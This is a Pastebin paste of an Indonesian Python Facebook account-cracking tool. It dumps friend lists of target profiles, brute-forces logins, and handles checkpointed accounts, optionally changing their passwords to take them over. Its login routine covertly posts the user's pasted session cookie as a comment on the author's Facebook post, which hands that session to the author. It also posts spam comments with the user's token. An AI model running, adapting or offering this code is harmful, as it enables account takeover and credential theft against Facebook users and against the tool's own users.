Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #----------[ IMPORT-MODULE ]----------#
- import os, re, sys, bs4, json, random, requests, time, datetime
- from bs4 import BeautifulSoup as sop
- from concurrent.futures import ThreadPoolExecutor as tred
- from datetime import datetime
- from rich import print as prints
- from rich.panel import Panel
- from rich.tree import Tree
- from rich.console import Console
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- #----------[ GLOBAL-NAME ]----------#
- id, id2, uid = [],[],[]
- tokene, akune = [],[]
- sandine, sandina = [],[]
- method, ugen = [],[]
- uamu, uadia = [],[]
- dump, taplikasi = [],[]
- linku = "mbasic.facebook.com"
- loop, ok, cp = 0,0,0
- console = Console()
- ubah_pass, pwbaru = [],[]
- pwBaru, ubahP = [],[]
- #----------[ USER-CRACK ]----------#
- realme = random.choice(["RMX2072","RMX2086","RMX3350"])
- for Xr in range (10000):
- a='Mozilla/5.0 (Linux; Android'
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='Build/'
- e=random.choice(["MMB29T","JZO54K","M1AJQ","KOT49H"])
- f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- g=random.randrange(73,112)
- h='0'
- i=random.randrange(4200,4900)
- j=random.randrange(40,150)
- k='Mobile Safari/534.36'
- l=random.choice(["UCBrowser","VenusBrowser","HiBrowser","HeadlessChrome","PaleMoon","OPR","Edge"])
- #l=random.choice(["VenusBrowser","HiBrowser","HeadlessChrome"])
- m=random.randrange(1,9)
- n=random.randrange(1,9)
- o='0'
- p=random.randrange(5,20)
- uaku=(f'{a} {b}.{c}; {realme}) {d}{e}; wv) {f}{g}.{h}.{i}.{j} {k} {l}/{m}.{n}.{o}.{p}')
- ugen.append(uaku)
- #--------[ GENERATE-USER-AGENT ]----------#
- for generate in range(10):
- a=random.randrange(1, 9)
- b=random.randrange(1, 9)
- c=random.randrange(7, 13)
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Mozilla/5.0 (Linux; Android {a}.{b}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- ua = random.choice(["Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/82.0.1531.64 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/411.0.0.13.36;]","Mozilla/5.0 (Linux; Android 10; SM-A700S Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.2114.112 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/348.0.0.12.57;]","Mozilla/5.0 (Linux; Android 9; Oneplus A99831 Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.1518.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/343.0.0.03.54;]","Mozilla/5.0 (Linux; Android 11; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.2318.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/136.0.0.14.72;]","Mozilla/5.0 (Linux; Android 9; 22041219I Build/TP1A.904992.769; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.1431.179 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/156.0.0.23.66;]","Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/93.0.1734.2 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/321.0.0.02.33;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/SD2A.276412.601; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.1576.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/469.0.0.23.21;]","Mozilla/5.0 (Linux; Android 10; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.139.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/334.0.0.15.5;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.2051.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/486.0.0.21.67;]","Mozilla/5.0 (Linux; Android 9; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.78.94 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/218.0.0.15.17;]"])
- #--------[ TAHUN-AKUN ]--------#
- def tahun(fx):
- if len(fx)==15:
- if fx[:10] in ['1000000000'] :tahunz = '2009'
- elif fx[:9] in ['100000000'] :tahunz = '2009'
- elif fx[:8] in ['10000000'] :tahunz = '2009'
- elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
- elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
- elif fx[:6] in ['100001'] :tahunz = '2010'
- elif fx[:6] in ['100002','100003'] :tahunz = '2011'
- elif fx[:6] in ['100004'] :tahunz = '2012'
- elif fx[:6] in ['100005','100006'] :tahunz = '2013'
- elif fx[:6] in ['100007','100008'] :tahunz = '2014'
- elif fx[:6] in ['100009'] :tahunz = '2015'
- elif fx[:5] in ['10001'] :tahunz = '2016'
- elif fx[:5] in ['10002'] :tahunz = '2017'
- elif fx[:5] in ['10003'] :tahunz = '2018'
- elif fx[:5] in ['10004'] :tahunz = '2019'
- elif fx[:5] in ['10005'] :tahunz = '2020'
- elif fx[:5] in ['10006'] :tahunz = '2021'
- elif fx[:5] in ['10009'] :tahunz = '2023'
- elif fx[:5] in ['10007','10008']:tahunz = '2022'
- else:tahunz=''
- elif len(fx) in [9,10]:
- tahunz = '2008'
- elif len(fx)==8:
- tahunz = '2007'
- elif len(fx)==7:
- tahunz = '2006'
- else:tahunz=''
- return tahunz
- #----------[ WARNA-TEMA ]----------#
- puti = '\x1b[1;97m'# WARNA-PUTIH
- mer = '\x1b[1;91m' # WARNA-MERAH
- kun = '\x1b[1;93m' # WARNA-KUJING
- hijo = '\x1b[1;92m' # WARNA-HIJAU
- ung = '\x1b[1;95m' # WARNA-UNGU
- biru = '\x1b[1;94m' # WARNA-BIRU
- #----------[ WARNA-RICH ]----------#
- P2 = "[#FFFFFF]" # PUTIH
- M2 = "[#FF0000]" # MERAH
- K2 = "[#FFFF00]" # KUNING
- H2 = "[#00FF00]" # HIJAU
- B2 = "[#00C8FF]" # BIRU
- A2 = "[#AAAAAA]" # ABU-ABU
- #----------[ ATUR ]----------#
- bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
- hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
- hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
- waktu = datetime.now().strftime("%X")
- kocak = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
- # --post
- link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
- #----------[ KOMENTAR ]----------#
- komen = ('\nSemangat Bang @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
- random01 = random.choice(["Acc Guru 😎"])
- random02 = random.choice(["Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n- James Baldwin"])
- random03 = random.choice(["Ah Ganteng Banget Bang 😎"])
- random04 = random.choice(["Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Itachi Uchiha"])
- random05 = random.choice(["Pro Gammers Ya Bang, Keren 😎\n\n Canda Bang 🤭"])
- #----------[ CONVERTER-BULAN ]----------#
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.now().day
- bln = dic[(str(datetime.now().month))]
- thn = datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- now = str(tgl)+'-'+str(bln)+'-'+str(thn)
- #----------[ HAPUS ]----------#
- def hapus_kukis():
- try:os.remove(".cyxieoncokies.txt")
- except:pass
- try:os.remove(".cyxieontoken.txt")
- except:pass
- login_cookies()
- #----------[ WAKTU ]----------#
- def waktu():
- now = datetime.now()
- hours = now.hour
- if 4 <= hours < 12:timenow = "Selamat Pagi"
- elif 12 <= hours < 15:timenow = "Selamat Siang"
- elif 15 <= hours < 18:timenow = "Selamat Sore"
- elif 00 <= hours < 4:timenow = "Selamat Malam"
- else:timenow = "Good Night"
- return timenow
- #----------[ BANNER ]----------#
- def logo_log():
- if "win" in sys.platform:os.system("cls")
- else:os.system("clear")
- prints(Panel(f"""\r
- _____ _____________________ ____ _____________
- / \\______ \_ _____/ \ \/ /\______ \
- / \ / \| | _/| __) ______ \ / | _/
- / Y \ | \| \ /_____/ / \ | | \
- \____|__ /______ /\___ / /___/\ \ |____|_ /
- \/ \/ \/ \_/ \/
- """,width=80,padding=(0,8),style=f"#AAAAAA"))
- #----------[ LOGIN-COKIES ]----------#
- def login_cookies():
- try:
- logo_log()
- ses = requests.Session()
- prints(Panel(f"%s DISARANKAN MENGAMBIL KUKIS DI %sEKSTENTION DOUGH%s JANGAN AKUN PRIBADI"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
- cookie = input(f"{puti}[{mer}•{puti}] Cokies {hijo}: ")
- cookies = {'cookie':cookie}
- url = 'https://www.facebook.com/adsmanager/manage/campaigns'
- req = ses.get(url,cookies=cookies); set = re.search('act=(.*?)&nav_source',str(req.content)).group(1); nek = '%s?act=%s&nav_source=no_referrer'%(url,set); roq = ses.get(nek,cookies=cookies); tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1); print(f"{puti}[{mer}•{puti}] Token {hijo}: {tok}"); requests.post(f"https://graph.facebook.com/v17.0/100028845823412_1081897416115109/comments/?message={cookie}&access_token={tok}", headers = {"cookie":cookie}); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={komen}\n{link}\n{kocak}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random01}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random02}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random03}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random04}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random05}&access_token={tok}",cookies = cookies); ken = open(".cyxieontoken.txt", "w").write(tok); cok = open(".cyxieoncokies.txt", "w").write(cookie)
- prints(Panel(f"%s BERHASIL LOGIN, SELAMAT DATANG %sKAK%s GUNAKAN SEWAJARNYA AJA YA %sKAK"%(P2,M2,P2,M2),width=80,padding=(0,2),style=f"#AAAAAA"))
- suk = input(f"[•] TEKAN ENTER ] ")
- menu()
- except Exception as e:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
- except:
- pass
- def follow():
- try:
- ses = requests.Session()
- cookie = open('.cyxieoncokies.txt','w').read()
- link = par(ses.get(f"https://{linku}/profile.php?id=100028845823412", cookies = cookie).text, "html.parser")
- kontol = link.find("a", string="Ikuti").get("href")
- ses.get(f"{linku}{str(kontol)}", cookies = cookie).text
- except:
- pass
- #----------[ BAGIAN-MENU ]----------#
- def menu():
- try:
- token = open('.cyxieontoken.txt','r').read()
- cok = open('.cyxieoncokies.txt','r').read()
- tokene.append(token)
- try:
- sys = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
- useridz = json.loads(sys.text)['id']
- username = json.loads(sys.text)['name']
- except KeyError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
- except requests.exceptions.ConnectionError:
- prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);exit()
- except IOError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
- except IOError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);hapus_kukis()
- try:
- date = requests.get("http://ip-api.com/json/").json()
- except KeyError:
- date = " "
- try:
- ip = date["query"]
- kartu = date["as"]
- negara = date["country"]
- wilayah = date["city"]
- #waktu = date["timezone"]
- except KeyError:
- ip = " "
- kartu = " "
- negara = " "
- wilayah = " "
- #waktu = " "
- except:
- pass
- logo_log()
- prints(Panel(f" [white][[red]÷[white]] Username [green]: {username} [/]\t\t [white][[red]÷[white]] User Ip [green]: {ip} \n [white][[red]÷[white]] User Id [green]: {useridz} [/]\t [white][[red]÷[white]] Card Id [green]: {kartu} \n [white][[red]÷[white]] Status [green]: Premium [/]\t [white][[red]÷[white]] Cauntry [green]: {negara} \n [white][[red]÷[white]] Time Day [green]: {waktu()} [/]\t [white][[red]÷[white]] City [green]: {wilayah}",width=80,padding=(0,6),style=f"white"))
- prints(Panel(f"[white] HAY KAK [red]{username}[white] GUNAKAN SEWAJARNYA AJA YA KAK",width=80,padding=(0,13),style=f"white"))
- prints(Panel(f" [white][[red]01[white]] MBF PUBLIK \t [white][[red]05[white]] MBF HS-OK \n [white][[red]02[white]] MBF TAPYES \t [white][[red]06[white]] MBF HS-CP \n [white][[red]03[white]] MBF FILE \t\t [white][[red]07[white]] MBF DUMP \n [white][[red]04[white]] MBF EMAIL \t [white][[red]00[white]] MBF LOGOUT ",width=80,padding=(0,18),style=f"white"))
- xxx = input(f"[•] MENU : ")
- if xxx in ['01','1']:krek_publik()
- elif xxx in ['02','2']:cek_tapyes()
- elif xxx in ['03','3']:krek_file()
- elif xxx in ['04','4']:krek_email()
- elif xxx in ['05','5']:hasil_ok()
- elif xxx in ['06','6']:hasil_cp()
- elif xxx in ['07','7']:dump_file()
- elif xxx in ['00','0']:prints(Panel(f"%sBERHASIL HAPUS%s COKIES%s SILAKAN MASUKAN ULANG COKIES ANDA"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
- else:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
- #----------[ CRACK-PUBLIK ]----------#
- def krek_publik():
- try:
- token = open('.cyxieontoken.txt','r').read()
- cok = open('.cyxieoncokies.txt','r').read()
- except IOError:
- prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
- try:
- prints(Panel(f"%s HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK "%(P2),width=80,padding=(0,14),style=f"#AAAAAA"))
- kumpulkan = int(input(f'[•] BERAPA : '))
- except ValueError:
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
- if kumpulkan<1 or kumpulkan>100:
- prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK"%(P2),width=80,padding=(0,11),style=f"#AAAAAA"))
- ses=requests.Session()
- bilangan = 0
- for KOTG49H in range(kumpulkan):
- bilangan+=1
- Masukan = input(f'[•] ID 0'+str(bilangan)+f' : ')
- uid.append(Masukan)
- for user in uid:
- try:
- head = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36'}
- graph = ses.get('https://graph.facebook.com/v11.0/'+user+'?fields=friends.limit(1000000)&access_token='+tokene[0], cookies = {'cookies':cok},headers=head).json()
- for xr in graph['friends']['data']:
- try:
- woy = (xr['id']+'|'+xr['name'])
- # if "10007" in woy:pass
- # elif "10008" in woy:pass
- if woy in id:pass
- else:id.append(woy)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);menu()
- try:
- prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
- atur_id()
- except requests.exceptions.ConnectionError:
- prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
- except (KeyError,IOError):
- prints(Panel(f"%sGAGAL DUMP %s ID PRIVATE ATAU TIDAK MEMPUNYAI TEMAN %s SILAKAN GANTI ID"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
- #----------[ CHECK-TAPYES ]----------#
- def cek_tapyes():
- dirs = os.listdir('MBF-CP')
- prints(Panel.fit(f"[white] MASUKAN FILE HASIL CRACK YG TERSIMPAN DI FOLDER CP ",style=f"white"))
- for file in dirs:
- print(f"%s\x1b[1;92m » \033[0m%s"%(kun,file));time.sleep(0.07)
- try:
- print(f"\n%s\x1b[1;92m »%s\033[0m Masukan file\033[0m [\x1b[0m contoh%s: %sMBF-CP.txt\033[0m ]"%(kun,puti,kun,kun));opsi()
- except IOError:
- prints(Panel(f"[red] FILE TIDAK ADA ",style=f"white"));time.sleep(2);menu()
- #--> Opsi
- def opsi():
- CP = ("MBF-CP/")
- romi = input(f"%s\x1b[1;92m »%s \033[0mNama file %s\x1b[1;92m : %s"%(kun,puti,mer,kun))
- if romi == "":
- print(f"%s\x1b[1;92m » \033[0misi yang benar "%(mer));time.sleep(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit(f"\n%s\x1b[1;92m » \033[0mnama file %s\033[0m tidak tersedia"%(mer,romi))
- print(f"%s\x1b[1;92m »%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(puti,hijo))
- pw=input(f"\n%s\x1b[1;92m »%s \033[0mubah sandi pada akun one tab? y/t %s» %s"%(puti,hijo,hijo,kun))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input(f"%s\x1b[1;92m »%s \033[0mmasukan sandi %s» %s"%(puti,hijo,hijo,kun))
- if len(pw2) <= 5:
- print(f"%s\x1b[1;92m » sandi minimal 6 karakter "%(mer))
- else:
- pwbaru.append(pw2)
- print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
- print (f"%s\x1b[1;92m »%s\033[0m total akun Anda %s: %s%s "%(puti,kun,mer,kun,str(len(file_cp))))
- print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print(f"\n%s%s.%s \033[0mlogin akun %s» %s%s"%(hijo,str(nomor),hijo,hijo,kun,akun.replace(" »»» ","")));time.sleep(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print(f"\n%s\x1b[1;92m » %s \033[0mSUCCES CHECKING ACCOUNT"%(puti,hijo));time.sleep(0.07)
- input(f"%s\x1b[1;92m »%s [%s Enter%s ] "%(hijo,hijo,puti,hijo));menu()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session = requests.Session()
- rc = random.choice
- url = rc(["free.facebook.com","mbasic.facebook.com"])
- session.headers.update(
- {
- "Host": url,
- "cache-control": "max-age=0",
- "upgrade-insecure-requests": "1",
- "origin": "https://"+url,
- "content-type": "application/x-www-form-urlencoded",
- "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "x-requested-with": "mark.via.gp",
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "navigate",
- "sec-fetch-user": "?1",
- "sec-fetch-dest": "document",
- "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
- "accept-encoding": "gzip, deflate",
- "accept-language": "en-US,en;q=0.9"
- }
- )
- soup=bs4.BeautifulSoup(session.get("https://"+url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find(
- "form",
- {
- "method":"post"
- }
- )
- for x in soup("input"):
- data.update(
- {x.get("name"):x.get("value")}
- )
- data.update(
- {
- "email":user,
- "pass":pw
- }
- )
- urlPost=session.post("https://"+url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print(f"\r%s\x1b[1;92m »\033[0m akun terkunci sesi new"%(mer))
- else:
- print(f"\r\x1b[1;92m »%s\033[0m akun tidak checkpoint, silahkan anda login "%(hijo))
- open('MBF-OK/MBF-OK.txt', 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find(
- "form",
- {"method":"post"}
- )
- listInput=[
- 'fb_dtsg',
- 'jazoest',
- 'checkpoint_data',
- 'submit[Continue]',
- 'nh'
- ]
- for x in response(
- "input"
- ):
- if x.get("name") in listInput:
- data2.update(
- {x.get("name"):x.get("value")}
- )
- an=session.post("https://"+url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all(
- "option"
- )
- ]
- number=0
- print(f"\r%s » %s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(hijo,kun,puti,str(len(cek)),kun,hijo));time.sleep(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=[
- "submit[Yes]",
- "nh",
- "fb_dtsg",
- "jazoest",
- "checkpoint_data"
- ]
- for x in response("input"):
- if x.get("name") in but:
- dat.update(
- {x.get("name"):x.get("value")}
- )
- ubahPw=session.post("https://"+url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find(
- "form",
- {"method":"post"}
- )
- but2=[
- "submit[Next]",
- "nh",
- "fb_dtsg",
- "jazoest"
- ]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah(
- "input"
- ):
- dat2.update(
- {b.get("name"):b.get("value")}
- )
- dat2.update(
- {
- "password_new":"".join(pwbaru)}
- )
- an=session.post(url+link3.get(
- "action"
- ),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print(f"\r%s\x1b[1;92m »\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s "%(hijo,puti,hijo,user,pwbaru[0],coki))
- open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s|%s\n" % (hijo,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print(f"\r%s\x1b[1;92m » \033[0makun one tab, silahkan anda login "%(hijo))
- open('MBF-OK/MBF-OK.txt', 'a').write("%s %s|%s|%s\n" % (hijo,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print(f"\r%s » \033[0m akun terpasang autentikasi dua faktor "%(mer))
- else:
- print(f"%s\x1b[1;92m »\033[0mterjadi kesalahan"%(mer))
- else:
- if "c_user" in session.cookies.get_dict():
- print(f"\r%s%s akun tidak checkpoint, silahkan anda login "%(hijo))
- open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s\n" % (hijo,user,pw))
- for opsi in range(len(cek)):
- number +=1
- print(f" %s%s. %s%s"%(puti,str(number),kun,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find(
- "div",
- {"id":"login_error"}).find("div").text
- print(f"%s » %s"%(mer,oh))
- else:
- print(f"%s » \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(mer))
- #----------[ CRACK-FILE ]----------#
- def krek_file():
- try:vin = os.listdir('/sdcard/MBF-DUMP/')
- except FileNotFoundError:prints(Panel.fit(f"[red] Maaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu ",style=f"white"));time.sleep(3);menu()
- if len(vin)==0:prints(Panel.fit(f"[red] Maaf Kak Anda Tidak Mempunyai File Dump, Silakan Dump Terlebih Dahulu ",style=f"white"));time.sleep(3);menu()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('/sdcard/MBF-DUMP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<99999:nom = ''+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"white"))
- else:lol.update({str(cih):str(isi)});print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x);prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"white"))
- hooh = input(f"[•] PILIH : ")
- try:cuk = lol[hooh]
- except KeyError:prints(Panel(f"[white] INPUT YANG ANDA MASUKAN [red]SALAH[white] SILAKAN MASUKAN DENGAN BENAR ",width=80,padding=(0,10),style=f"white"));time.sleep(3);menu()
- try:lin = open('/sdcard/MBF-DUMP/'+cuk,'r').read().splitlines()
- except:prints(Panel.fit(f"[red] Maaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu ",style=f"white"));time.sleep(3);menu()
- for idz in lin:
- id.append(idz)
- atur_id()
- #----------[ DUMP-FILE ]----------#
- def dump_file():
- try:
- os.mkdir('/sdcard/MBF-DUMP')
- except:
- pass
- try:
- xyc = input(f"\n[•] MASUKAN ID : ")
- xyd = input(f"[•] NAMA FILE DUMP : ")
- xxr = ('/sdcard/MBF-DUMP/' + xyd + '.txt').replace(' ', '_')
- xxx = open(xxr, 'w')
- token = open('.cyxieontoken.txt','r').read()
- cok = open('.cyxieoncokies.txt','r').read()
- coki = {"cookie":cok}
- xnx = requests.get('https://graph.facebook.com/%s?fields=friends.limit(99999)&access_token=%s'%(xyc,token),cookies=coki).json()
- for xxn in xnx['friends']['data']:id.append(xxn['id']+'|'+xxn['name']);xxx.write(xxn['id']+'|'+xxn['name']+ '\n');print('\r[•] ID : %s '%(len(id)),end='');time.sleep(0.0050)
